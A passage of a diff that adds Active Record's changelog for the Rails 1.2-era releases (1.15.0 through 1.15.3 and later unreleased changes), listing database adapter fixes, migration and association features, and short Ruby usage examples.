+      t.column "value",      :string,   :default => "Untitled"
+      t.column "created_at", :datetime
+      t.column "updated_at", :datetime
+    end
+  
+  ...can now be written as:
+  
+    create_table :products do |t|
+      t.integer :shop_id, :creator_id
+      t.string  :name, :value, :default => "Untitled"
+      t.timestamps
+    end
+
+* Use association name for the wrapper element when using .to_xml.  Previous behavior lead to non-deterministic situations with STI and polymorphic associations. [Koz, jstrachan]
+
+* Improve performance of calling .create on has_many :through associations. [evan]
+
+* Improved cloning performance by relying less on exception raising #8159 [Blaine]
+
+* Added ActiveRecord::Base.inspect to return a column-view like #<Post id:integer, title:string, body:text> [DHH]
+
+* Added yielding of Builder instance for ActiveRecord::Base#to_xml calls [DHH]
+
+* Small additions and fixes for ActiveRecord documentation.  Closes #7342 [jeremymcanally]
+
+* Add helpful debugging info to the ActiveRecord::StatementInvalid exception in ActiveRecord::ConnectionAdapters::SqliteAdapter#table_structure.  Closes #7925. [court3nay]
+
+* SQLite: binary escaping works with $KCODE='u'.  #7862 [tsuka]
+
+* Base#to_xml supports serialized attributes.  #7502 [jonathan]
+
+* Base.update_all :order and :limit options. Useful for MySQL updates that must be ordered to avoid violating unique constraints.  [Jeremy Kemper]
+
+* Remove deprecated object transactions.  People relying on this functionality should install the object_transactions plugin at http://code.bitsweat.net/svn/object_transactions.  Closes #5637 [Koz, Jeremy Kemper]
+
+* PostgreSQL: remove DateTime -> Time downcast. Warning: do not enable translate_results for the C bindings if you have timestamps outside Time's domain.  [Jeremy Kemper]
+
+* find_or_create_by_* takes a hash so you can create with more attributes than are in the method name. For example, Person.find_or_create_by_name(:name => 'Henry', :comments => 'Hi new user!') is equivalent to Person.find_by_name('Henry') || Person.create(:name => 'Henry', :comments => 'Hi new user!').  #7368 [Josh Susser]
+
+* Make sure with_scope takes both :select and :joins into account when setting :readonly.  Allows you to save records you retrieve using method_missing on a has_many :through associations.  [Koz]
+
+* Allow a polymorphic :source for has_many :through associations.  Closes #7143 [protocool]
+
+* Consistent public/protected/private visibility for chained methods.  #7813 [Dan Manges]
+
+* Oracle: fix quoted primary keys and datetime overflow.  #7798 [Michael Schoen]
+
+* Consistently quote primary key column names.  #7763 [toolmantim]
+
+* Fixtures: fix YAML ordered map support.  #2665 [Manuel Holtgrewe, nfbuckley]
+
+* DateTimes assume the default timezone.  #7764 [Geoff Buesing]
+
+* Sybase: hide timestamp columns since they're inherently read-only.  #7716 [Mike Joyce]
+
+* Oracle: overflow Time to DateTime.  #7718 [Michael Schoen]
+
+* PostgreSQL: don't use async_exec and async_query with postgres-pr.  #7727, #7762 [flowdelic, toolmantim]
+
+* Fix has_many :through << with custom foreign keys.  #6466, #7153 [naffis, Rich Collins]
+
+* Test DateTime native type in migrations, including an edge case with dates
+during calendar reform.  #7649, #7724 [fedot, Geoff Buesing]
+
+* SQLServer: correctly schema-dump tables with no indexes or descending indexes.  #7333, #7703 [Jakob S, Tom Ward]
+
+* SQLServer: recognize real column type as Ruby float.  #7057 [sethladd, Tom Ward]
+
+* Added fixtures :all as a way of loading all fixtures in the fixture directory at once #7214 [manfred]
+
+* Added database connection as a yield parameter to ActiveRecord::Base.transaction so you can manually rollback [DHH]. Example:
+
+    transaction do |transaction|
+      david.withdrawal(100)
+      mary.deposit(100)
+      transaction.rollback! # rolls back the transaction that was otherwise going to be successful
+    end
+
+* Made increment_counter/decrement_counter play nicely with optimistic locking, and added a more general update_counters method [Jamis Buck]
+
+* Reworked David's query cache to be available as Model.cache {...}. For the duration of the block no select query should be run more then once. Any inserts/deletes/executes will flush the whole cache however [Tobias Luetke]
+  Task.cache { Task.find(1); Task.find(1) } #=> 1 query
+  
+* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. [Jamis Buck]
+
+* Oracle: fix lob and text default handling.  #7344 [gfriedrich, Michael Schoen]
+
+* SQLServer: don't choke on strings containing 'null'.  #7083 [Jakob S]
+
+* MySQL: blob and text columns may not have defaults in 5.x. Update fixtures schema for strict mode.  #6695 [Dan Kubb]
+
+* update_all can take a Hash argument. sanitize_sql splits into two methods for conditions and assignment since NULL values and delimiters are handled differently.  #6583, #7365 [sandofsky, Assaf]
+
+* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id.  #6778 [Jonathan Viney, timc]
+
+* Use Date#to_s(:db) for quoted dates.  #7411 [Michael Schoen]
+
+* Don't create instance writer methods for class attributes.  Closes #7401 [Rick]
+
+* Docs: validations examples.  #7343 [zackchandler]
+
+* Add missing tests ensuring callbacks work with class inheritance.  Closes #7339 [sandofsky]
+
+* Fixtures use the table name and connection from set_fixture_class.  #7330 [Anthony Eden]
+
+* Remove useless code in #attribute_present? since 0 != blank?.  Closes #7249 [Josh Susser]
+
+* Fix minor doc typos. Closes #7157 [Josh Susser]
+
+* Fix incorrect usage of #classify when creating the eager loading join statement.  Closes #7044 [Josh Susser]
+
+* SQLServer: quote table name in indexes query.  #2928 [keithm at infused.org]
+
+* Subclasses of an abstract class work with single-table inheritance.  #5704, #7284 [BertG, nick+rails at ag.arizona.edu]
+
+* Make sure sqlite3 driver closes open connections on disconnect [Rob Rasmussen]
+
+* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name.  #7072 [jeremymcanally]
+
+* change_column accepts :default => nil. Skip column options for primary keys.  #6956, #7048 [Dan Manges, Jeremy Kemper]
+
+* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information.  #3987, #6664 [Jonathan Viney, manfred, altano at bigfoot.com]
+
+* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default.  #7000 [Michael Schoen]
+
+* MySQL: retain SSL settings on reconnect.  #6976 [randyv2]
+
+* Apply scoping during initialize instead of create.  Fixes setting of foreign key when using find_or_initialize_by with scoping. [Cody Fauser]
+
+* SQLServer: handle [quoted] table names.  #6635 [rrich]
+
+* acts_as_nested_set works with single-table inheritance.  #6030 [Josh Susser]
+
+* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order.  #4668, #7021 [eventualbuddha, Michael Schoen]
+
+* Pass a range in :conditions to use the SQL BETWEEN operator.  #6974 [Dan Manges]
+    Student.find(:all, :conditions => { :grade => 9..12 })
+
+* Fix the Oracle adapter for serialized attributes stored in CLOBs.  Closes #6825 [mschoen, tdfowler]
+
+* [DOCS] Apply more documentation for ActiveRecord Reflection.  Closes #4055 [Robby Russell]
+
+* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 [Caio Chassot]
+
+* Bring the sybase adapter up to scratch for 1.2 release. [jsheets]
+
+* Rollback new_record? and id when an exception is raised in a save callback.  #6910 [Ben Curren, outerim]
+
+* Pushing a record on an association collection doesn't unnecessarily load all the associated records.  [Obie Fernandez, Jeremy Kemper]
+
+* Oracle: fix connection reset failure.  #6846 [leonlleslie]
+
+* Subclass instantiation doesn't try to explicitly require the corresponding subclass.  #6840 [leei, Jeremy Kemper]
+
+* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 [protocool]
+
+* Consolidated different create and create! versions to call through to the base class with scope. This fixes inconsistencies, especially related to protected attribtues. Closes #5847 [Alexander Dymo, Tobias Luetke]
+
+* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using.  #6764 [vitaly, Jeremy Kemper]
+
+* Add AssociationCollection#create! to be consistent with AssociationCollection#create when dealing with a foreign key that is a protected attribute [Cody Fauser]
+
+* Added counter optimization for AssociationCollection#any? so person.friends.any? won't actually load the full association if we have the count in a cheaper form [DHH]
+
+* Change fixture_path to a class inheritable accessor allowing test cases to have their own custom set of fixtures. #6672 [zdennis]
+
+* Quote ActiveSupport::Multibyte::Chars.  #6653 [Julian Tarkhanov]
+
+* Simplify query_attribute by typecasting the attribute value and checking whether it's nil, false, zero or blank.  #6659 [Jonathan Viney]
+
+* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string.  #5716 [Andreas Schwarz]
+
+* Run validations in the order they were declared.  #6657 [obrie]
+
+* MySQL: detect when a NOT NULL column without a default value is misreported as default ''.  Can't detect for string, text, and binary columns since '' is a legitimate default.  #6156 [simon at redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper]
+
+* Simplify association proxy implementation by factoring construct_scope out of method_missing.  #6643 [martin]
+
+* Oracle: automatically detect the primary key.  #6594 [vesaria, Michael Schoen]
+
+* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml.  #6607 [philbogle at gmail.com, ray.fortna at jobster.com, Michael Schoen]
+
+* Don't inspect unloaded associations.  #2905 [lmarlow]
+
+* SQLite: use AUTOINCREMENT primary key in >= 3.1.0.  #6588, #6616 [careo, lukfugl]
+
+* Cache inheritance_column.  #6592 [Stefan Kaes]
+
+* Firebird: decimal/numeric support.  #6408 [macrnic]
+
+* make add_order a tad faster. #6567 [Stefan Kaes]
+
+* Find with :include respects scoped :order.  #5850
+
+* Support nil and Array in :conditions => { attr => value } hashes.  #6548 [Assaf, Jeremy Kemper]
+    find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
+
+* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column.  #6495 [Si]
+
+* SQLite: fix calculations workaround, remove count(distinct) query rewrite, cleanup test connection scripts.  [Jeremy Kemper]
+
+* SQLite: count(distinct) queries supported in >= 3.2.6.  #6544 [Bob Silva]
+
+* Dynamically generate reader methods for serialized attributes.  #6362 [Stefan Kaes]
+
+* Deprecation: object transactions warning.  [Jeremy Kemper]
+
+* has_one :dependent => :nullify ignores nil associates.  #4848, #6528 [bellis at deepthought.org, janovetz, Jeremy Kemper]
+
+* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters.  #6515 [Michael Schoen]
+
+* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 [obrie]
+
+* Document other options available to migration's add_column. #6419 [grg]
+
+* MySQL: all_hashes compatibility with old MysqlRes class.  #6429, #6601 [Jeremy Kemper]
+
+* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. [Jonathan Viney]
+
+* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters [Rick]
+
+* Restore eager condition interpolation, document it's differences [Rick]
+
+* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started.  #6282 [Jacob Fugal, Jeremy Kemper]
+
+* Add #delete support to has_many :through associations.  Closes #6049 [Martin Landers]
+
+* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql.  Closes #5851 [Rick]
+
+* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 [turnip at turnipspatch.com]
+
+* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 [wreese at gmail.com]
+
+* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 [jonathan]
+
+* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 [BobSilva]
+
+* The has_many create method works with polymorphic associations.  #6361 [Dan Peterson]
+
+* MySQL: introduce Mysql::Result#all_hashes to support further optimization.  #5581 [Stefan Kaes]
+
+* save! shouldn't validate twice.  #6324 [maiha, Bob Silva]
+
+* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values.  #1887, #5780 [Michael Schuerig]
+
+* Add an attribute reader method for ActiveRecord::Base.observers [Rick Olson]
+
+* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins.  #6287 [Bob Silva]
+
+* has_one associations with a nil target may be safely marshaled.  #6279 [norbauer, Jeremy Kemper]
+
+* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects [Koz]
+
+* Add a :namespace option to  AR::Base#to_xml [Koz]
+
+* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. [Jeremy Kemper]
+
+* Mock Time.now for more accurate Touch mixin tests.  #6213 [Dan Peterson]
+
+* Improve yaml fixtures error reporting.  #6205 [Bruce Williams]
+
+* Rename AR::Base#quote so people can use that name in their models. #3628 [Koz]
+
+* Add deprecation warning for inferred foreign key. #6029 [Josh Susser]
+
+* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 [jimw at mysql.com]
+
+* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true.  #6024 [Josh Susser]
+
+* Document validates_presences_of behavior with booleans: you probably want validates_inclusion_of :attr, :in => [true, false].  #2253 [Bob Silva]
+
+* Optimistic locking: gracefully handle nil versions, treat as zero.  #5908 [Tom Ward]
+
+* to_xml: the :methods option works on arrays of records.  #5845 [Josh Starcher]
+
+* Deprecation: update docs. #5998 [jakob at mentalized.net, Kevin Clark]
+
+* Add some XmlSerialization tests for ActiveRecord [Rick Olson]
+
+* has_many :through conditions are sanitized by the associating class.  #5971 [martin.emde at gmail.com]
+
+* Tighten rescue clauses.  #5985 [james at grayproductions.net]
+
+* Fix spurious newlines and spaces in AR::Base#to_xml output [Jamis Buck]
+
+* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database.  #5927 [Chris Mear, Jonathan Viney]
+
+* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name.  #5911 [Jonathan Viney]
+
+* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german.  #5894 [Tom Ward, kruth at bfpi]
+
+* SQLServer: fix eager association test.  #5901 [Tom Ward]
+
+* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance.  #5838 [Kevin Clark]
+
+* Fixtures: correct escaping of \n and \r.  #5859 [evgeny.zislis at gmail.com]
+
+* Migrations: gracefully handle missing migration files.  #5857 [eli.gordon at gmail.com]
+
+* MySQL: update test schema for MySQL 5 strict mode.  #5861 [Tom Ward]
+
+* to_xml: correct naming of included associations.  #5831 [josh.starcher at gmail.com]
+
+* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association.  #5815, #5829 [josh at hasmanythrough.com]
+
+* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. [Jeremy Kemper]
+
+    # Create a tagging to associate the post and tag.
+    post.tags << Tag.find_by_name('old')
+    post.tags.create! :name => 'general'
+
+    # Would have been:
+    post.taggings.create!(:tag => Tag.find_by_name('finally')
+    transaction do
+      post.taggings.create!(:tag => Tag.create!(:name => 'general'))
+    end
+
+* Cache nil results for :included has_one associations also.  #5787 [Michael Schoen]
+
+* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. [Tobias Luetke]
+
+* Nested classes are given table names prefixed by the singular form of the parent's table name. [Jeremy Kemper]
+    Example: Invoice::Lineitem is given table name invoice_lineitems
+
+* Migrations: uniquely name multicolumn indexes so you don't have to. [Jeremy Kemper]
+    # people_active_last_name_index, people_active_deactivated_at_index
+    add_index    :people, [:active, :last_name]
+    add_index    :people, [:active, :deactivated_at]
+    remove_index :people, [:active, :last_name]
+    remove_index :people, [:active, :deactivated_at]
+
+  WARNING: backward-incompatibility. Multicolumn indexes created before this
+  revision were named using the first column name only. Now they're uniquely
+  named using all indexed columns.
+
+  To remove an old multicolumn index, remove_index :table_name, :first_column
+
+* Fix for deep includes on the same association. [richcollins at gmail.com]
+
+* Tweak fixtures so they don't try to use a non-ActiveRecord class.  [Kevin Clark]
+
+* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore.  [Rick Olson]
+
+* Document find's :from option. Closes #5762. [andrew at redlinesoftware.com]
+
+* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema.  #5280 [guy.naor at famundo.com]
+
+* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
+
+* Cache nil results for has_one associations so multiple calls don't call the database.  Closes #5757. [Michael A. Schoen]
+
+* Add documentation for how to disable timestamps on a per model basis. Closes #5684. [matt at mattmargolis.net Marcel Molina Jr.] 
+
+* Don't save has_one associations unnecessarily.  #5735 [Jonathan Viney]
+
+* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting.  [Rick Olson]
+
+* Formally deprecate the deprecated finders. [Koz]
+
+* Formally deprecate rich associations.  [Koz]
+
+* Fixed that default timezones for new / initialize should uphold utc setting #5709 [daniluk at yahoo.com]
+
+* Fix announcement of very long migration names.  #5722 [blake at near-time.com]
+
+* The exists? class method should treat a string argument as an id rather than as conditions.  #5698 [jeremy at planetargon.com]
+
+* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 [alexkwolfe at gmail.com]
+
+* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
+
+    assert (Topic.exists?(:author_name => "David")) 
+ 	  assert (Topic.exists?(:author_name => "Mary", :approved => true)) 
+ 	  assert (Topic.exists?(["parent_id = ?", 1]))
+
+* Schema dumper quotes date :default values. [Dave Thomas]
+
+* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. [Dan Peterson]
+
+* Factor the attribute#{suffix} methods out of method_missing for easier extension. [Jeremy Kemper]
+
+* Patch sql injection vulnerability when using integer or float columns. [Jamis Buck]
+
+* Allow #count through a has_many association to accept :include.  [Dan Peterson]
+
+* create_table rdoc: suggest :id => false for habtm join tables. [Zed Shaw]
+
+* PostgreSQL: return array fields as strings. #4664 [Robby Russell]
+
+* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 [Tom Ward]
+
+* SQLServer: fix db:schema:dump case-sensitivity. #4684 [Will Rogers]
+
+* Oracle: BigDecimal support. #5667 [schoenm at earthlink.net]
+
+* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 [robbat2 at gentoo.org, work at ashleymoran.me.uk]
+
+* Firebird migrations support. #5337 [Ken Kunz <kennethkunz at gmail.com>]
+
+* PostgreSQL: create/drop as postgres user. #4790 [mail at matthewpainter.co.uk, mlaster at metavillage.com]
+
+* Update callbacks documentation. #3970 [Robby Russell <robby at planetargon.com>]
+
+* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 [tietew at tietew.net]
+
+* PostgreSQL: correctly quote microseconds in timestamps. #5641 [rick at rickbradley.com]
+
+* Clearer has_one/belongs_to model names (account has_one :user). #5632 [matt at mattmargolis.net]
+
+* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 [schoenm at earthlink.net]
+
+* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 [schoenm at earthlink.net]
+
+* Added :group to available options for finds done on associations #5516 [mike at michaeldewey.org]
+
+* Minor tweak to improve performance of ActiveRecord::Base#to_param.
+
+* Observers also watch subclasses created after they are declared. #5535 [daniels at pronto.com.au]
+
+* Removed deprecated timestamps_gmt class methods. [Jeremy Kemper]
+
+* rake build_mysql_database grants permissions to rails at localhost. #5501 [brianegge at yahoo.com]
+
+* PostgreSQL: support microsecond time resolution. #5492 [alex at msgpad.com]
+
+* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
+
+* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. [Sam Stephenson]
+
+* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). [Shugo Maeda]
+    # Obtain an exclusive lock on person 1 so we can safely increment visits.
+    Person.transaction do
+      # select * from people where id=1 for update
+      person = Person.find(1, :lock => true)
+      person.visits += 1
+      person.save!
+    end
+
+* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. [Jeremy Kemper]
+
+* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. [Jeremy Kemper]
+
+* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. [Nicholas Seckar]
+
+* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes at web.de)
+
+* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization [DHH]
+
+* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [hcatlin at gmail.com]. Example:
+
+    Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2) 
+
+...is the same as:
+
+    Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
+  
+  This makes it easier to pass in the options from a form or otherwise outside.
+    
+
+* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 [kennethkunz at gmail.com]
+
+* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 [alex at purefiction.net]
+
+* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 [greg at lapcominc.com]
+
+* Fixed problems with eager loading and counting on SQL Server #5212 [kajism at yahoo.com]
+
+* Fixed that count distinct should use the selected column even when using :include #5251 [anna at wota.jp]
+
+* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 [alex at purefiction.net]
+
+* Allow models to override to_xml.  #4989 [Blair Zajac <blair at orcaware.com>]
+
+* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket.  #5247 [shimbo at is.naist.jp]
+
+* Records and arrays of records are bound as quoted ids. [Jeremy Kemper]
+    Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
+    Foo.find(:first, :conditions => ['bar_id = ?', bar])
+
+* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty [DHH]
+
+* Add a list of regexes assert_queries skips in the ActiveRecord test suite.  [Rick]
+
+* Fix the has_and_belongs_to_many #create doesn't populate the join for new records.  Closes #3692 [josh at hasmanythrough.com]
+
+* Provide Association Extensions access to the instance that the association is being accessed from.  
+  Closes #4433 [josh at hasmanythrough.com]
+
+* Update OpenBase adaterp's maintainer's email address. Closes #5176. [Derrick Spell]
+
+* Add a quick note about :select and eagerly included associations. [Rick]
+
+* Add docs for the :as option in has_one associations.  Closes #5144 [cdcarter at gmail.com]
+
+* Fixed that has_many collections shouldn't load the entire association to do build or create [DHH]
+
+* Added :allow_nil option for aggregations #5091 [ian.w.white at gmail.com]
+
+* Fix Oracle boolean support and tests. Closes #5139. [schoenm at earthlink.net]
+
+* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) [Jeremy Kemper]
+
+* Call Inflector#demodulize on the class name when eagerly including an STI model.  Closes #5077 [info at loobmedia.com]
+
+* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. [pdcawley at bofh.org.uk] 
+
+* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 [keegan at thebasement.org]
+
+* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 [kajism at yahoo.com]
+
+* Allow :uniq => true with has_many :through associations. [Jeremy Kemper]
+
+* Ensure that StringIO is always available for the Schema dumper. [Marcel Molina Jr.]
+
+* Allow AR::Base#to_xml to include methods too. Closes #4921. [johan at textdrive.com] 
+
+* Replace superfluous name_to_class_name variant with camelize. [Marcel Molina Jr.]
+
+* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
+
+* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
+
+* Remove duplicate fixture entry in comments.yml. Closes #4923. [Blair Zajac <blair at orcaware.com>]
+
+* Update FrontBase adapter to check binding version. Closes #4920. [mlaster at metavillage.com] 
+
+* New Frontbase connections don't start in auto-commit mode. Closes #4922. [mlaster at metavillage.com]
+
+* When grouping, use the appropriate option key. [Marcel Molina Jr.]
+
+* Only modify the sequence name in the FrontBase adapter if the FrontBase adapter is actually being used. [Marcel Molina Jr.]
+
+* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. [mlaster at metavillage.com]
+
+* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. [Francois Beausoleil <francois.beausoleil at gmail.com>]
+
+* Fix syntax error in documentation. Closes #4679. [mislav at nippur.irb.hr] 
+
+* Add Oracle support for CLOB inserts. Closes #4748. [schoenm at earthlink.net sandra.metz at duke.edu] 
+
+* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. [kajism at yahoo.com]
+
+* Add support for :order option to with_scope. Closes #3887. [eric.daspet at survol.net]
+
+* Prettify output of schema_dumper by making things line up. Closes #4241 [Caio  Chassot <caio at v2studio.com>]
+
+* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. [mlaster at metavillage.com]
+
+* Sybase Adapter type conversion cleanup. Closes #4736. [dev at metacasa.net]
+
+* Fix bug where calculations with long alias names return null. [Rick]
+
+* Raise error when trying to add to a has_many :through association.  Use the Join Model instead. [Rick]
+
+    @post.tags << @tag                  # BAD
+    @post.taggings.create(:tag => @tag) # GOOD
+
+* Allow all calculations to take the :include option, not just COUNT (closes #4840) [Rick]
+
+* Update inconsistent migrations documentation. #4683 [machomagna at gmail.com]
+
+* Add ActiveRecord::Errors#to_xml [Jamis Buck]
+
+* Properly quote index names in migrations (closes #4764) [John Long]
+
+* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility.  [Rick]
+
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions [Rick]
+
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. [Rick]
+
+* DRY up association collection reader method generation. [Marcel Molina Jr.]
+
+* DRY up and tweak style of the validation error object. [Marcel Molina Jr.]
+
+* Add :case_sensitive option to validates_uniqueness_of (closes #3090) [Rick]
+
+    class Account < ActiveRecord::Base
+      validates_uniqueness_of :email, :case_sensitive => false
+    end
+
+* Allow multiple association extensions with :extend option (closes #4666) [Josh Susser]
+
+    class Account < ActiveRecord::Base
+      has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
+    end
+
+    *1.15.3* (March 12th, 2007)
+
+    * Allow a polymorphic :source for has_many :through associations. Closes #7143 [protocool] 
+
+    * Consistently quote primary key column names.  #7763 [toolmantim]
+
+    * Fixtures: fix YAML ordered map support.  #2665 [Manuel Holtgrewe, nfbuckley]
+
+    * Fix has_many :through << with custom foreign keys.  #6466, #7153 [naffis, Rich Collins]
+
+
+*1.15.2* (February 5th, 2007)
+
+* Pass a range in :conditions to use the SQL BETWEEN operator.  #6974 [dcmanges]
+    Student.find(:all, :conditions => { :grade => 9..12 })
+
+* Don't create instance writer methods for class attributes. [Rick]
+
+* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. [Jamis Buck]
+
+* SQLServer: don't choke on strings containing 'null'.  #7083 [Jakob S]
+
+* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column.  #6495 [Si]
+
+* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id.  #6778 [Jonathan Viney, timc]
+
+* Fixtures use the table name and connection from set_fixture_class.  #7330 [Anthony Eden]
+
+* SQLServer: quote table name in indexes query.  #2928 [keithm at infused.org]
+
+
+*1.15.1* (January 17th, 2007)
+
+* Fix nodoc breaking of adapters
+
+
+*1.15.0* (January 16th, 2007)
+
+* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name.  #7072 [jeremymcanally]
+
+* change_column accepts :default => nil. Skip column options for primary keys.  #6956, #7048 [dcmanges, Jeremy Kemper]
+
+* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information.  #3987, #6664 [Jonathan Viney, manfred, altano at bigfoot.com]
+
+* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default.  #7000 [Michael Schoen]
+
+* MySQL: retain SSL settings on reconnect.  #6976 [randyv2]
+
+* SQLServer: handle [quoted] table names.  #6635 [rrich]
+
+* acts_as_nested_set works with single-table inheritance.  #6030 [Josh Susser]
+
+* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order.  #4668, #7021 [eventualbuddha, Michael Schoen]
+
+* Fix the Oracle adapter for serialized attributes stored in CLOBs.  Closes #6825 [mschoen, tdfowler]
+
+* [DOCS] Apply more documentation for ActiveRecord Reflection.  Closes #4055 [Robby Russell]
+
+* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 [Caio Chassot]
+
+* Bring the sybase adapter up to scratch for 1.2 release. [jsheets]
+
+* Oracle: fix connection reset failure.  #6846 [leonlleslie]
+
+* Subclass instantiation doesn't try to explicitly require the corresponding subclass.  #6840 [leei, Jeremy Kemper]
+
+* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 [protocool]
+
